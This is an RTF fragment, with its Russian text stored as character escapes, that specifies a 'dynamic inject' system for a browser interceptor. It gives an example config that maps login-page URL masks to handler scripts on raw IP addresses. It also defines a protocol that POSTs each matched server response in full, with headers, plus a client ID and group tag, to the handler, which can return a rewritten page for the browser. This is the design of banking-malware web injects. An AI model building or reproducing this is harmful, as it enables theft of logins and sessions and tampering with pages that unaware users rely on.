\'e7\'e2\'b8\'e7\'e4\'ee\'f7\'ea\'e0 \'e8\'eb\'e8 \'ee\'f2\'ea\'f0\'fb\'e2\'e0\'fe\'f9\'e0\'ff \'ea\'e2\'e0\'e4\'f0\'e0\'f2\'ed\'e0\'ff \'f1\'ea\'ee\'e1\'ea\'e0.\par
\'cf\'f0\'e8\'ec\'e5\'f0: \f2\lang1033 q[abc]erty[?]u[[]uu??88]88*\par
\pard\li720\sa200\sl276\slmult1 qaerty?u[uuzz88]88444 \f1 - \f0\lang1049\'ef\'ee\'e4\'f5\'ee\'e4\'e8\'f2\par
\f2\lang1033 qbertysu[uuzz88]88444 \f1 - \f0\lang1049\'ed\'e5 \'ef\'ee\'e4\'f5\'ee\'e4\'e8\'f2\par
\f2\lang1033 qcerty?u[uuz88]88 \f1 - \f0\lang1049\'ed\'e5 \'ef\'ee\'e4\'f5\'ee\'e4\'e8\'f2\cf2\par
\cf0\f2\lang1033 qaerty?u[uuz?88]88 \f1 - \f0\lang1049\'ef\'ee\'e4\'f5\'ee\'e4\'e8\'f2\par
\f2\lang1033 qrerty?u[uuz?88]88\f1 - \f0\lang1049\'ed\'e5\f1\lang1033 \f0\lang1049\'ef\'ee\'e4\'f5\'ee\'e4\'e8\'f2\par
\f2\lang1033 qaerty?u!uuz?88]8811 \f1 - \f0\lang1049\'ed\'e5\f1\lang1033 \f0\lang1049\'ef\'ee\'e4\'f5\'ee\'e4\'e8\'f2\par
\pard\sa200\sl276\slmult1\'c2 \'ec\'e0\'f1\'ea\'f3 \'f1\'f1\'fb\'eb\'ea\'e8 \'ed\'e8\'ea\'ee\'e3\'e4\'e0 \'ed\'e5 \'e2\'f5\'ee\'e4\'e8\'f2 \'ef\'f0\'e5\'f4\'e8\'ea\'f1 \f1\lang1033 http(s):// \f0\lang1049\'e8 \'ef\'f0\'e8 \'ef\'f0\'ee\'e2\'e5\'f0\'ea\'e5 \'e8\'f1\'ea\'ee\'ec\'e0\'ff \'f1\'f1\'fb\'eb\'ea\'e0 \'ef\'f0\'ee\'e2\'e5\'f0\'ff\'e5\'f2\'f1\'ff \'e1\'e5\'e7 \'e4\'e0\'ed\'ed\'ee\'e3\'ee \'ef\'f0\'e5\'f4\'e8\'ea\'f1\'e0.\par
\'cf\'f0\'e8\'ec\'e5\'f0 \'ea\'ee\'ed\'f4\'e8\'e3\'e0 \'e4\'e8\'ed\'e0\'ec\'e8\'f7\'e5\'f1\'ea\'e8\'f5 \'e8\'ed\'e6\'e5\'ea\'f2\'ee\'e2:\par
\pard\sa200\sl240\slmult1\f3\fs20\lang1033 <igroup>\par
<dinj> \par
<lm\f4\lang1049 \f3\lang1033 value="*/logon/*"/>\par
<hl>http://14.25.36.47/test2.php</hl><\f4\lang1049 /\f3\lang1033 dinj> \par
</igroup>\par
<igroup>\par
<dinj> <lm>*test*.com/qwerty[?]*</lm>\par
<hl>https://1.2.3.4/test2.php</hl><\f4\lang1049 /\f3\lang1033 dinj>\par
<dinj> \par
<lm value="??site.net/cderfv.asp*">\par
\par
<lm>\par
<hl>https://1.2.3.4/test2.php</hl>\par
<pri>1</pri>\par
<sq>1</sq>\par
<\f4\lang1049 /\f3\lang1033 dinj>\par
<dinj> \par
<lm>[abcdef]wert[1234567890].com/papka/userprofile.php</lm>\par
<hl>https://1.2.3.4/test.php</hl>\par
<pri>10</pri>\par
<\f4\lang1049 /\f3\lang1033 dinj>\par
</igroup>\par
<igroup><dinj> \par
<lm>*/sitelogin/*</lm>\par
<hl>http://41.24.53.64:8089/test.aspx</hl>\par
<pri>45</pri><sq>2</sq>\par
<dinj> </igroup>\f1\par
\pard\sa200\sl276\slmult1\f0\fs22\lang1049\'c2 \'e4\'e0\'ed\'ed\'ee\'ec \'ef\'f0\'e8\'ec\'e5\'f0\'e5 \'e2 \'ee\'e4\'ed\'ee\'ec \f1\lang1033 igroup\f0\lang1049 \'f2\'f0\'e8 \f1\lang1033 dinj\f0\lang1049 , \'e2 \'e4\'e2\'f3\'f5 \'e4\'f0\'f3\'e3\'e8\'f5 \'ef\'ee \'ee\'e4\'ed\'ee\'ec\'f3 \f1\lang1033 dinj\f0\lang1049 .\par
\'c2\'ed\'f3\'f2\'f0\'e8 \'f2\'e5\'e3\'e0 \f1\lang1033 lm \f0\lang1049\'ec\'ee\'e3\'f3\'f2 \'e1\'fb\'f2\'fc \'f3\'ea\'e0\'e7\'e0\'ed\'fb \'e4\'ee\'ef\'ee\'eb\'ed\'e8\'f2\'e5\'eb\'fc\'ed\'fb\'e5 \'f2\'e5\'e3\'e8, \'f3\'ea\'e0\'e7\'fb\'e2\'e0\'fe\'f9\'e8\'e5 \'e4\'ee\'ef\'ee\'eb\'ed\'e8\'f2\'e5\'eb\'fc\'ed\'fb\'e5 \'f3\'f1\'eb\'ee\'e2\'e8\'ff \'e4\'eb\'ff \'e8\'f1\'ef\'ee\'eb\'fc\'e7\'ee\'e2\'e0\'ed\'e8\'ff \'f1\'f1\'fb\'eb\'ea\'e8 \'e8\'eb\'e8 \'e8\'e3\'ed\'ee\'f0\'e8\'f0\'ee\'e2\'e0\'ed\'e8\'ff \'e5\'b8.\par
\f1\lang1033 ignore_mask - \f0\lang1049\'e8\'e3\'ed\'ee\'f0\'e8\'f0\'ee\'e2\'ed\'e8\'e5 \'e5\'f1\'eb\'e8 \'f1\'f1\'fb\'eb\'ea\'e0 \'f3\'e4\'ee\'e2\'eb\'e5\'f2\'e2\'ee\'f0\'ff\'e5\'f2 \'ec\'e0\'f1\'ea\'e5 \'f3\'ea\'e0\'e7\'e0\'ed\'ed\'ee\'e9 \'e2 \'e0\'f2\'f0\'e8\'e1\'f3\'f2\'e5 \f1\lang1033 value. \f0\lang1049\'c5\'f1\'eb\'e8 \'f3\'ea\'e0\'e7\'e0\'ed\'ee, \'ed\'e5\'f1\'ea\'ee\'eb\'fc\'ea\'ee \'f2\'e5\'e3\'ee\'e2 \f1\lang1033 ignore_mask\f0\lang1049 , \'f2\'ee \'f1\'f1\'fb\'eb\'ea\'e0 \'e8\'e3\'ed\'ee\'f0\'e8\'f0\'f3\'e5\'f2\'f1\'ff, \'e5\'f1\'eb\'e8 \'ee\'ed\'ee \'ef\'ee\'e4\'ee\'f8\'eb\'e0 \'f5\'ee\'f2\'ff \'e1\'fb \'ef\'ee\'e4 \'ee\'e4\'ed\'f3 \'e8\'e7 \'f3\'ea\'e0\'e7\'e0\'ed\'ed\'fb\'f5.\f1\lang1033\par
ignore_header - \f0\lang1049\'e8\'e3\'ed\'ee\'f0\'e8\'f0\'ee\'e2\'ed\'e8\'e5 \'e5\'f1\'eb\'e8 \'ee\'f2\'e2\'e5\'f2\f1\lang1033 \f0\lang1049\'f1\'ee\'e4\'e5\'f0\'e6\'e8\'f2 \'f5\'e8\'e4\'e5\'f0 \'f3\'e4\'ee\'e2\'eb\'e5\'f2\'e2\'ee\'f0\'ff\'fe\'f9\'e8\'e9\'ef\'e0\'f0\'e0\'e5\'f2\'f0\'e0\'ec \'e8\'e7 \'e0\'f2\'f0\'e8\'e1\'f3\'f2\'ee\'e2 \f1\lang1033 header \f0\lang1049\'e8 \f1\lang1033 value. \f0\lang1049\'c5\'f1\'eb\'e8 \'f3\'ea\'e0\'e7\'e0\'ed\'ee, \'ed\'e5\'f1\'ea\'ee\'eb\'fc\'ea\'ee \'f2\'e5\'e3\'ee\'e2 \f1\lang1033 ignore_header \f0\lang1049 , \'f2\'ee \'f1\'f1\'fb\'eb\'ea\'e0 \'e8\'e3\'ed\'ee\'f0\'e8\'f0\'f3\'e5\'f2\'f1\'ff, \'e5\'f1\'eb\'e8 \'ee\'ed\'ee \'ef\'ee\'e4\'ee\'f8\'eb\'e0 \'f5\'ee\'f2\'ff \'e1\'fb \'ef\'ee\'e4 \'ee\'e4\'e8\'ed \'e8\'e7 \'f3\'ea\'e0\'e7\'e0\'ed\'ed\'fb\'f5.\f1\lang1033 \f0\lang1049\'c7\'ed\'e0\'f7\'e5\'ed\'e8\'ff \'e2 \'e0\'f2\'f0\'e8\'e1\'f3\'f2\'e0\'f5 \f1\lang1033 header \f0\lang1049\'e8 \f1\lang1033 value\f0\lang1049 \'ec\'ee\'e3\'f3\'f2 \'e1\'fb\'f2\'fc \'f3\'ea\'e0\'e7\'e0\'ed\'fb \'ea\'e0\'ea \'ec\'e0\'f1\'ea\'e8.\f1\lang1033\par
require_header - \f0\lang1049\'e4\'ee\'ef\'ee\'eb\'ed\'e8\'f2\'e5\'eb\'fc\'ed\'e0\'ff \'ef\'f0\'ee\'e2\'e5\'f0\'ea\'e0 \'ed\'e0 \'f5\'e8\'e4\'e5\'f0, \'e5\'f1\'eb\'e8 \'ee\'f2\'e2\'e5\'f2\f1\lang1033 \f0\lang1049\'f1\'ee\'e4\'e5\'f0\'e6\'e8\'f2 \'f5\'e8\'e4\'e5\'f0 \'f3\'e4\'ee\'e2\'eb\'e5\'f2\'e2\'ee\'f0\'ff\'fe\'f9\'e8\'e9\'ef\'e0\'f0\'e0\'e5\'f2\'f0\'e0\'ec \'e8\'e7 \'e0\'f2\'f0\'e8\'e1\'f3\'f2\'ee\'e2 \f1\lang1033 header \f0\lang1049\'e8 \f1\lang1033 value\f0\lang1049 , \'f2\'ee \'ee\'ed \'e1\'f3\'e4\'e5\'f2 \'ee\'f2\'ef\'f0\'e0\'e2\'eb\'e5\'ed \'ed\'e0 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'ea\'f3\f1\lang1033 . \f0\lang1049\'c5\'f1\'eb\'e8 \'f3\'ea\'e0\'e7\'e0\'ed\'ee, \'ed\'e5\'f1\'ea\'ee\'eb\'fc\'ea\'ee \'f2\'e5\'e3\'ee\'e2 \f1\lang1033 require_header \f0\lang1049 , \'f2\'ee \'f1\'f1\'fb\'eb\'ea\'e0 \'ef\'f0\'ed\'e8\'ec\'e0\'e5\'f2\'f1\'ff \'e2 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'ea\'f3, \'f2\'ee\'eb\'fc\'ea\'ee \'e5\'f1\'eb\'e8 \'ef\'ee\'e4\'ee\'f8\'eb\'e0 \b\'ef\'ee\'e4 \'ea\'e0\'e6\'e4\'fb\'e9 \b0\'e8\'e7 \'f3\'ea\'e0\'e7\'e0\'ed\'ed\'fb\'f5.\f1\lang1033 \f0\lang1049\'c7\'ed\'e0\'f7\'e5\'ed\'e8\'ff \'e2 \'e0\'f2\'f0\'e8\'e1\'f3\'f2\'e0\'f5 \f1\lang1033 header \f0\lang1049\'e8 \f1\lang1033 value\f0\lang1049 \'ec\'ee\'e3\'f3\'f2 \'e1\'fb\'f2\'fc \'f3\'ea\'e0\'e7\'e0\'ed\'fb \'ea\'e0\'ea \'ec\'e0\'f1\'ea\'e8.\f1\lang1033\par
<dinj> \par
<lm value="example.com/*">\par
<ignore_mask value ="*.css"/>\par
<ignore_mask value ="*.rar"/>\par
<ignore_header header="content-type" value="text/plain"/>\par
\f0\lang1049 \f1\lang1033 <require_header header="content-lang" value="*"/>\par
</lm>\par
<hl value="test.net/handler.php">\par
</dinj> \par
\f0\lang1049\'c2 \'f3\'ea\'e0\'e7\'e0\'ed\'ed\'ee\'ec \'ee\'f2\'f0\'fb\'e2\'ea\'e5 \'ea\'ee\'ed\'f4\'e8\'e3\'e0, \'f1\'f1\'fb\'eb\'ea\'e0 \f1\lang1033 example.com/assetst/test.css \f0\lang1049\'e1\'f3\'e4\'e5\'f2 \'ef\'f0\'ee\'e8\'e3\'ed\'ee\'f0\'e8\'f0\'ee\'e2\'e0\'ed\'e0, \'e0 \'f1\'f1\'fb\'eb\'ea\'e0 \f1\lang1033 example.com/assetst/test.html \f0\lang1049\'e1\'f3\'e4\'e5\'f2 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'e0\'ed\'e0 \'f2\'ee\'eb\'fc\'ea\'ee \'e5\'f1\'eb\'e8 \'ee\'f2\'e2\'e5\'f2 \'f1\'e5\'f0\'e2\'e5\'f0\'e0 \'f1\'ee\'e4\'e5\'f0\'e6\'e8\'f2 \'f5\'e8\'e4\'e5\'f0 \f1\lang1033 content-lang\f0\lang1049 .\par
\b 10.4\f1\lang1033 .1 \b0\f0\lang1049\'ce\'e1\'f0\'e0\'e1\'ee\'f2\'ea\'e0 \f1\lang1033 HTTP\f0\lang1049 -\'ee\'f2\'e2\'e5\'f2\'e0 \'ed\'e0\'f7\'e8\'ed\'e0\'e5\'f2\'f1\'ff \'f2\'ee\'eb\'fc\'ea\'ee \'ef\'ee\'f1\'eb\'e5 \'ef\'ee\'eb\'ed\'ee\'e3\'ee \'ef\'ee\'eb\'f3\'f7\'e5\'ed\'e8\'ff \'e5\'e3\'ee \'f1\'ee\'e4\'e5\'f0\'e6\'e8\'ec\'ee\'e3\'ee \'ee\'f2 \'f1\'e5\'f0\'e2\'e5\'f0\'e0 (\'e2 \'ea\'ee\'eb\'e1\'fd\'ea\'e5 \f1\lang1033 AfterReceiveResponse \f0\lang1049\'e2 \'ea\'ee\'e4\'e5 \'e1\'f0\'e0\'f3\'e7\'e5\'f0\'ed\'ee\'e3\'ee \'ef\'e5\'f0\'e5\'f5\'e2\'e0\'f2\'f7\'e8\'ea\'e0). \'c5\'f1\'eb\'e8 \'f1\'f1\'fb\'eb\'ea\'e0 \'e7\'e0\'ef\'f0\'ee\'f1\'e0 \'ed\'e0 \'ea\'ee\'f2\'ee\'f0\'fb\'e9 \'ef\'ee\'eb\'f3\'f7\'e5\'ed \'ee\'f2\'e2\'e5\'f2, \'ef\'ee\'e4\'f5\'ee\'e4\'e8\'f2 \'ef\'ee\'e4 \'ed\'e5\'f1\'ea\'ee\'eb\'fc\'ea\'ee \'fd\'eb\'e5\'ec\'e5\'ed\'f2\'ee\'e2 \f1\lang1033 <dinj>\f0\lang1049 \'ed\'e0\'f5\'ee\'ff\'f9\'e8\'f5\'f1\'ff \ul\'e2 \'f0\'e0\'e7\'ed\'fb\'f5 \ulnone\f1\lang1033 <igroup>\f0\lang1049 (\'f5\'ee\'f2\'ff \'e1\'fb \'ee\'e4\'e8\'ed \'ed\'e0\'f5\'ee\'e4\'ff\'f9\'e8\'e9\'f1\'ff \'e2 \'ee\'f2\'e4\'e5\'eb\'fc\'ed\'ee\'ec \f1\lang1033 <igroup>\f0\lang1049 ), \'f2\'ee \'f2\'e0\'ea\'e0\'ff \'f1\'f1\'fb\'eb\'ea\'e0 \'e4\'ee\'eb\'e6\'ed\'e0 \'e1\'fb\'f2\'fc \'ef\'f0\'ee\'ef\'f3\'f9\'e5\'ed\'e0 \'e1\'e5\'e7 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'ea\'e8. \par
\'cf\'ee\'f1\'eb\'e5 \'f2\'ee\'e3\'ee \'ea\'e0\'ea \'ee\'ed \'ef\'ee\'eb\'ed\'ee\'f1\'f2\'fc\'fe \'ef\'ee\'eb\'f3\'f7\'e5\'ed, \'ed\'e5\'ee\'e1\'f5\'ee\'e4\'e8\'ec\'ee \'ee\'f2\'ef\'f0\'e0\'e8\'f2\'fc \f1\lang1033 POST\f0\lang1049 -\'e7\'e0\'ef\'f0\'ee\'f1 \'ed\'e0 \'e0\'e4\'f0\'e5\'f1 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0. \'c5\'f1\'eb\'e8 \'fd\'eb\'e5\'ec\'e5\'ed\'f2\'ee\'e2 \f1\lang1033 <dinj>\f0\lang1049 \'f1 \'ec\'e0\'f1\'ea\'ee\'e9 \'f3\'e4\'ee\'e2\'eb\'e5\'f2\'e2\'ee\'f0\'ff\'fe\'f9\'e8\'f5 \'e4\'e0\'ed\'ed\'ee\'e9 \'f1\'f1\'fb\'eb\'ea\'e5 \'ed\'e5\'f1\'ea\'ee\'eb\'fc\'ea\'ee \'e8 \'ee\'ed\'e8 \ul\'e2\'f1\'e5 \'ed\'e0\'f5\'ee\'e4\'ff\'f2\'f1\'ff \'e2 \'ee\'e4\'ed\'ee\'ec \ulnone\f1\lang1033 <igroup>\f0\lang1049 , \'f2\'ee \'ee\'ed\'e8 \'e2\'f1\'e5 \'e4\'ee\'eb\'e6\'ed\'fb \'e1\'fb\'f2\'fc \'ee\'ef\'f0\'ee\'f8\'e5\'ed\'fb \'ef\'ee \'ee\'f7\'e5\'f0\'e5\'e4\'e8 \'f1\'ee\'e3\'eb\'e0\'f1\'ed\'ee \'e8\'f5 \'ef\'f0\'e8\'ee\'f0\'e8\'f2\'e5\'f2\'e0\'ec \'e2 \'ef\'ee\'f0\'ff\'e4\'ea\'e5 \'e2\'ee\'e7\'f0\'e0\'f1\'f2\'e0\'ed\'e8\'ff (\'ef\'e5\'f0\'e2\'fb\'ec \'e8\'e4\'b8\'f2 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea \'f1 \'f1\'e0\'ec\'fb\'ec \'ed\'e8\'e7\'ea\'e8\'ec \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5\'ec \'ef\'f0\'e8\'ee\'f0\'e8\'f2\'e5\'f2\'e0). \'c5\'f1\'eb\'e8 \'e2 \'f1\'ef\'e8\'f1\'ea\'e5 \'ed\'e5\'f1\'ea\'ee\'eb\'fc\'ea\'ee \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'ee\'e2 \'f1 \'ee\'e4\'e8\'ed\'e0\'ea\'ee\'e2\'fb\'ec \'ef\'f0\'e8\'ee\'f0\'e8\'f2\'e5\'f2\'ee\'ec, \'f2\'ee \'e4\'e0\'ed\'ed\'e0\'ff \'f1\'e8\'f2\'f3\'e0\'f6\'e8\'ff \'e4\'ee\'eb\'e6\'ed\'e0 \'e1\'fb\'f2\'fc \'f0\'e0\'e7\'f0\'e5\'f8\'e5\'ed\'e0 \'ed\'e0 \'f3\'f1\'ec\'ee\'f2\'f0\'e5\'ed\'e8\'e5 \'f0\'e0\'e7\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0. \'cf\'ee\'e4\'f0\'e0\'e7\'f3\'ec\'e5\'e2\'e0\'e5\'f2\'f1\'ff, \'f7\'f2\'ee \'f1\'ee\'f1\'f2\'e0\'e2\'e8\'f2\'e5\'eb\'fc \'ea\'ee\'ed\'f4\'e8\'e3\'e0 \'e4\'ee\'eb\'e6\'e5\'ed \'ef\'ee\'e7\'e0\'e1\'ee\'f2\'e8\'f2\'fc\'f1\'ff \'ee \'f2\'ee\'ec, \'f7\'f2\'ee\'e1\'fb \'f2\'e0\'ea\'e8\'f5 \'f1\'e8\'f2\'f3\'e0\'f6\'e8\'e9 \'ed\'e5 \'e2\'ee\'e7\'ed\'e8\'ea\'e0\'eb\'ee.\par
\'d2\'e5\'eb\'ee \f1\lang1033 POST\f0\lang1049 -\'e7\'e0\'ef\'f0\'ee\'f1\'e0 \'ee\'f4\'ee\'f0\'ec\'eb\'ff\'e5\'f2\'f1\'ff \'e2 \'f4\'ee\'f0\'ec\'e0\'f2\'e5 \f1\lang1033 nultipart/form-data. \f0\lang1049\'c2 \'ed\'b8\'ec \'e4\'ee\'eb\'e6\'ed\'fb \'e1\'fb\'f2\'fc \'f1\'eb\'e5\'e4\'f3\'fe\'f9\'e8\'e5 \'fd\'eb\'e5\'ec\'e5\'ed\'f2\'fb:\par
\i\f1\lang1033 sourcelink \i0 -\f0\lang1049 \'ef\'ee\'eb\'ed\'e0\'ff\f1\lang1033 \f0\lang1049\'e8\'f1\'ea\'ee\'ec\'e0\'ff \'f1\'f1\'fb\'eb\'ea\'e0 \'f1 \'ef\'f0\'e5\'f4\'e8\'ea\'f1\'ee\'ec {\f1\lang1033{\field{\*\fldinst{HYPERLINK https:// }}{\fldrslt{https://\ul0\cf0}}}}\f1\fs22\lang1033 \f0\lang1049\'e8\'eb\'e8 {\f1\lang1033{\field{\*\fldinst{HYPERLINK http:// }}{\fldrslt{http://\ul0\cf0}}}}\f1\fs22\lang1033 (\f0\lang1049\'e5\'f1\'eb\'e8 \'ed\'e5\'f2 \'e2\'ee\'e7\'ec\'ee\'e6\'ed\'ee\'f1\'f2\'e8 \'f3\'e7\'ed\'e0\'f2\'fc \'ea\'e0\'ea\'ee\'e9 \'e8\'ec\'e5\'ed\'ed\'ee \'ef\'f0\'ee\'f2\'ee\'ea\'ee\'eb, \'f2\'ee \'f1\'f2\'e0\'e2\'e8\'f2\'fc \'e2\'f1\'e5\'e3\'e4\'e0 {\f1\lang1033{\field{\*\fldinst{HYPERLINK https:// }}{\fldrslt{https://\ul0\cf0}}}}\f1\fs22\lang1033 )\f0\lang1049 \'e2 \'ea\'ee\'e4\'e8\'f0\'ee\'e2\'ea\'e5 \f1\lang1033 ANSI.\f0\lang1049\par
\i\f1\lang1033 sourcequery \i0 - \f0\lang1049\'e8\'f1\'ea\'ee\'ec\'fb\'e9 \f1\lang1033 http-\f0\lang1049\'e7\'e0\'ef\'f0\'ee\'f1, \'e7\'e0\'e2\'e8\'f1\'e8\'f2 \'ee\'f2 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'ff \'e2 \'ef\'e0\'f0\'e0\'ec\'e5\'f2\'f0\'e5 \f1\lang1033 sq \f0\lang1049\'e2 \f1\lang1033 <dinj>. \f0\lang1049\'cf\'e0\'f0\'e0\'ec\'e5\'f2\'f0 \'ec\'ee\'e6\'e5\'f2 \'ee\'f2\'f1\'f3\'f2\'f1\'f2\'e2\'ee\'e2\'e0\'f2\'fc, \'e5\'f1\'eb\'e8 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5 \'e2 \'ef\'e0\'f0\'e0\'ec\'e5\'f2\'f0\'e5 \f1\lang1033 sq \f0\lang1049\'f0\'e0\'e2\'ed\'ee \'ed\'f3\'eb\'fe.\cf2\par
\cf0\i\f1\lang1033 sourcehtml \i0 - \f0\lang1049\'e8\'f1\'ea\'ee\'ec\'fb\'e9 \f1\lang1033 http-\f0\lang1049\'ee\'f2\'e2\'e5\'f2. \'cf\'ee\'eb\'ed\'fb\'e9 \'ee\'f2\'e2\'e5\'f2 \'f1\'e5\'f0\'e2\'e5\'f0\'e0 \'ee\'f2 \'ed\'e0\'f7\'e0\'eb\'e0 \'e4\'ee \'ea\'ee\'ed\'f6\'e0 \'f1\'ee \'e2\'f1\'e5\'ec\'e8 \'f5\'e8\'e4\'e5\'f0\'e0\'ec\'e8, \ul\'e1\'e5\'e7 \'e8\'e7\'ec\'e5\'ed\'e5\'ed\'e8\'e9\ulnone , \'e2 \'e8\'f1\'ea\'ee\'ec\'ee\'e9 \'ea\'ee\'e4\'e8\'f0\'ee\'e2\'ea\'e5.\par
\'cf\'ee\'ec\'e8\'ec\'ee \'ef\'e0\'f0\'e0\'ec\'e5\'f2\'f0\'ee\'e2 \'e2 \'f2\'e5\'eb\'e5, \'e2 \f1\lang1033 URI\f0\lang1049 \'e7\'e0\'ef\'f0\'ee\'f1\'e0 \'e4\'ee\'eb\'e6\'ed\'fb \'e1\'fb\'f2\'fc \'f3\'ea\'e0\'e7\'e0\'ed\'fb \'f1\'eb\'e5\'e4\'f3\'fe\'f9\'e8\'e5 \'ef\'e0\'f0\'e0\'ec\'e5\'f2\'f0\'fb \'e2 \'f4\'ee\'f0\'ec\'e0\'f2\'e5 \f1\lang1033 urlencode\f0\lang1049 :\line\f1\lang1033 cid - \f0\lang1049\'e8\'e4\'e5\'ed\'f2\'e8\'f4\'e8\'ea\'e0\'f2\'ee\'f0 \'ea\'eb\'e8\'e5\'ed\'f2\'e0, clientid \'e2 \'e2\'e8\'e4\'e5 \'f1\'f2\'f0\'ee\'ea\'e8 (\'f1\'ec. \'ef\'f3\'ed\'ea\'f2 2.1.2).\f1\lang1033\par
group -\f0\lang1049 \'f2\'e5\'e3 \'e3\'f0\'f3\'ef\'ef\'fb \'ea\'eb\'e8\'e5\'ed\'f2\'e0 \'e2 \'e2\'e8\'e4\'e5 \'f1\'f2\'f0\'ee\'ea\'e8.\cf2\par
\cf0\'ce\'f2\'e2\'e5\'f2 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0:\par
\i 200\i0 - \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea \'e8\'e7\'ec\'e5\'ed\'e8\'eb \'f1\'f2\'f0\'e0\'ed\'e8\'f6\'f3 \'e8 \'e2 \'f2\'e5\'eb\'e5 \'ee\'f2\'e2\'e5\'f2\'e0 \'f1\'ee\'e4\'e5\'f0\'e6\'e8\'f2\'f1\'ff \'ed\'ee\'e2\'fb\'e9 \'e8\'e7\'ec\'e5\'ed\'b8\'ed\'ed\'fb\'e9 \'ee\'f2\'e2\'e5\'f2 \'f1\'e5\'f0\'e2\'e5\'f0\'e0 \'f1\'ee \'e2\'f1\'e5\'ec\'e8 \'f5\'e8\'e4\'e5\'f0\'e0\'ec\'e8, \'ea\'ee\'f2\'ee\'f0\'fb\'e9 \'e4\'ee\'eb\'e6\'e5\'ed \'e1\'fb\'f2\'fc \'ef\'ee\'e4\'f1\'f2\'e0\'e2\'eb\'e5\'ed \'e1\'f0\'e0\'f3\'e7\'e5\'f0\'f3. \'cd\'e8\'ea\'e0\'ea\'e8\'e5 \'e4\'f0\'f3\'e3\'e8\'e5 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e8 \'ed\'e5 \'e4\'ee\'eb\'e6\'ed\'fb \'e2\'fb\'e7\'fb\'e2\'e0\'f2\'fc\'f1\'ff.\par
\i 303\i0 - \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea \'ed\'e5 \'e8\'e7\'ec\'e5\'ed\'e8\'eb \'f1\'f2\'f0\'e0\'ed\'e8\'f6\'f3 \'e8 \'ef\'f0\'e8 \'fd\'f2\'ee\'ec \'f0\'e0\'e7\'f0\'e5\'f8\'e0\'e5\'f2 \'ee\'e1\'f0\'e0\'f9\'e5\'ed\'e8\'e5 \'ea \'e4\'f0\'f3\'e3\'e8\'ec \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0\'ec \'e5\'f1\'eb\'e8 \'f2\'e0\'ea\'ee\'e2\'fb\'e5 \'e8\'ec\'e5\'fe\'f2\'f1\'ff.\par
\i 304\i0 - \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea \'ed\'e5 \'e8\'e7\'ec\'e5\'ed\'e8\'eb \'f1\'f2\'f0\'e0\'ed\'e8\'f6\'f3 \'e8 \'ef\'f0\'e8 \'fd\'f2\'ee\'ec \'e7\'e0\'ef\'f0\'e5\'f9\'e0\'e5\'f2 \'ee\'e1\'f0\'e0\'f9\'e5\'ed\'e8\'e5 \'ea \'e4\'f0\'f3\'e3\'e8\'ec \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0\'ec \par
\'c2\'f1\'e5 \'ee\'f1\'f2\'e0\'eb\'fc\'ed\'fb\'e5 \'ea\'ee\'e4\'fb \'ed\'e5\'ee\'e1\'f5\'ee\'e4\'e8\'ec\'ee \'f0\'e0\'f1\'f6\'e5\'ed\'e8\'e2\'e0\'f2\'fc \'ea\'e0\'ea \'ee\'f2\'e2\'e5\'f2 303, \'ef\'ee\'f1\'eb\'e5 \'f7\'e5\'e3\'ee \'e4\'e0\'ed\'ed\'fb\'e9 \'fd\'eb\'e5\'ec\'e5\'ed\'f2 \f1\lang1033 <dinj>\f0\lang1049 (\'e8\'eb\'e8 \'ea\'e0\'ea\'ee\'e9-\'f2\'ee \'ee\'e1\'fa\'e5\'ea\'f2 \'e8\'eb\'e8 \'f1\'f2\'f0\'f3\'ea\'f2\'f3\'f0\'e0 \'e2 \'ef\'e0\'ec\'ff\'f2\'e8, \'ea\'ee\'f2\'ee\'f0\'fb\'e9 \'ee\'ef\'e8\'f1\'fb\'e2\'e0\'e5\'f2 \'e4\'e0\'ed\'ed\'fb\'f5 \'fd\'eb\'e5\'ec\'e5\'ed\'f2 \f1\lang1033 <dinj>\f0\lang1049 ) \'e4\'ee\'eb\'e6\'e5\'ed \'e1\'fb\'f2\'fc \'e4\'e5\'e0\'ea\'f2\'e8\'e2\'e8\'f0\'ee\'e2\'e0\'ed \'ed\'e0 30 \'ec\'e8\'ed\'f3\'f2 \'e8 \'ed\'e8\'ea\'e0\'ea \'ed\'e5 \'f3\'f7\'e0\'e2\'f1\'f2\'e2\'ee\'e2\'e0\'f2\'fc \'e2 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'ea\'e5. \'c4\'e5\'e0\'ea\'f2\'e8\'e2\'e0\'f6\'e8\'ff \'e4\'ee\'eb\'e6\'ed\'e0 \'e1\'fb\'f2\'fc \'eb\'ee\'ea\'e0\'eb\'fc\'ed\'e0\'ff \'f2\'ee\'eb\'fc\'ea\'ee \'e2 \'f2\'e5\'ea\'f3\'f9\'e5\'ec \'ef\'f0\'ee\'f6\'e5\'f1\'f1\'e5.\par
